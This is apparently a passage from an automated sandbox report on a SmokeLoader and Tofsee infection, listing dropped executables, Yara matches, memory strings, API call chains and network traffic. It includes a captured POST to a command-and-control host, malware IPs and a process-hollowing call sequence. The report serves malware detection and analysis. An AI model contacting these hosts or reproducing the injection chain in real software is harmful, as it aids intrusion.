music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000012.00000003.386418212.000001994C78A000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.386449355.000001994C79B000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: m9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qlxnfuhj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.3:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.3:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.3:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49884 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 15.2.rwjfsvd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.eIxMVDoQF3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.eIxMVDoQF3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.rwjfsvd.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.rwjfsvd.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rwjfsvd.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.rwjfsvd.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.eIxMVDoQF3.exe.6515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.rwjfsvd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.382566740.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.382707049.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.332260069.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.332377268.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.318144404.0000000002E21000.00000020.00020000.sdmp, type: MEMORY

Source: rwjfsvd, 0000000E.00000002.368973263.00000000007AA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 24.2.743F.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.743F.exe.570e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.743F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.743F.exe.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.392346980.0000000000590000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 743F.exe PID: 6640, type: MEMORYSTR

System Summary:

PE file has nameless sections

Show sources

Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 6CF.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 1547.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:
Source: 3A08.exe.10.dr	Static PE information: section name:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6800 -ip 6800

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 0_2_0042A450	0_2_0042A450
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 0_2_0042B230	0_2_0042B230
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 0_2_00424F20	0_2_00424F20
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_00402A5F	1_2_00402A5F
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_00402AB3	1_2_00402AB3
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_1_00402A5F	1_1_00402A5F
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_1_00402B2E	1_1_00402B2E
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 14_2_00573253	14_2_00573253
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 14_2_005731FF	14_2_005731FF
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_00402A5F	15_2_00402A5F
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_00402AB3	15_2_00402AB3
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_1_00402A5F	15_1_00402A5F
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_1_00402AB3	15_1_00402AB3
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_004027CA	16_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_00401FF1	16_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_0040158E	16_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_004015A6	16_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_004015BC	16_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_00411065	16_2_00411065
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_00412A02	16_2_00412A02
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_0040CAC5	16_2_0040CAC5
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_00410B21	16_2_00410B21
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: 16_2_004115A9	16_2_004115A9
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00410800	23_2_00410800
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00411280	23_2_00411280
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_004103F0	23_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_004109F0	23_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00580A50	23_2_00580A50
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00580640	23_2_00580640
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_00580C40	23_2_00580C40
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: 23_2_005814D0	23_2_005814D0
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: 24_2_0040C913	24_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: 24_2_0042B1B0	24_2_0042B1B0
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: 24_2_0042A3D0	24_2_0042A3D0
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: 24_2_00424EA0	24_2_00424EA0
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_019C96F0	25_2_019C96F0
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_019C0470	25_2_019C0470
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_019C0462	25_2_019C0462
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_032F53F8	25_2_032F53F8
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_032F1810	25_2_032F1810
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_032F2E48	25_2_032F2E48
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_032F0448	25_2_032F0448
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_0330A430	25_2_0330A430
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_03305B58	25_2_03305B58
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_033008B0	25_2_033008B0
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_0330AD68	25_2_0330AD68
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_03302C88	25_2_03302C88
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_033090D3	25_2_033090D3
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_033089F7	25_2_033089F7
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_05770133	25_2_05770133
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_00F7EC28	37_2_00F7EC28
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_05CEC408	37_2_05CEC408
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_05CE6100	37_2_05CE6100
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_05CED8A8	37_2_05CED8A8
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_05CE5830	37_2_05CE5830
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_05CE9200	37_2_05CE9200
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_05CE54E8	37_2_05CE54E8
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_05CEDE47	37_2_05CEDE47
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_05CED899	37_2_05CED899
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_05CE1213	37_2_05CE1213
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_06912060	37_2_06912060
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_06918D88	37_2_06918D88
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_069109F8	37_2_069109F8
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_069175C0	37_2_069175C0
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 37_2_0691AF90	37_2_0691AF90

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Code function: 24_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

24_2_00401280

Source: eIxMVDoQF3.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: eIxMVDoQF3.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: eIxMVDoQF3.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: eIxMVDoQF3.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E5C8.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E5C8.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E5C8.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F6C0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F6C0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F6C0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F6C0.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1FD7.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1FD7.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1FD7.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 27D7.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F805.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F805.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F805.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B50.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B50.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B50.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B50.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 743F.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 743F.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 743F.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 743F.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rwjfsvd.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rwjfsvd.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rwjfsvd.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rwjfsvd.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tvdcssmj.exe.24.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tvdcssmj.exe.24.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tvdcssmj.exe.24.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tvdcssmj.exe.24.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Section loaded: mscorjit.dll	Jump to behavior

Source: eIxMVDoQF3.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\icpymrdv\

Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: String function: 004048D0 appears 460 times
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: String function: 00422C90 appears 133 times
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: String function: 0041E410 appears 172 times
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: String function: 0041E370 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: String function: 00572794 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: String function: 00402544 appears 53 times

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_00401962 Sleep,NtTerminateProcess,	1_2_00401962
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_0040196D Sleep,NtTerminateProcess,	1_2_0040196D
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_00402000
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_2_0040250A
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_00401A0B NtTerminateProcess,	1_2_00401A0B
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201A
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201E
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040202D
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_00402084 LocalAlloc,NtQuerySystemInformation,	1_2_00402084
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_00402491 NtOpenKey,	1_2_00402491
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402000
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_1_0040250A
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201A
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201E
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040202D
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_1_00402084 LocalAlloc,NtQuerySystemInformation,	1_1_00402084
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_1_00402491 NtOpenKey,	1_1_00402491
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 14_2_00570110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	14_2_00570110
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_00401962 Sleep,NtTerminateProcess,	15_2_00401962
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_0040196D Sleep,NtTerminateProcess,	15_2_0040196D
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_00402000
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	15_2_0040250A
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_00401A0B NtTerminateProcess,	15_2_00401A0B
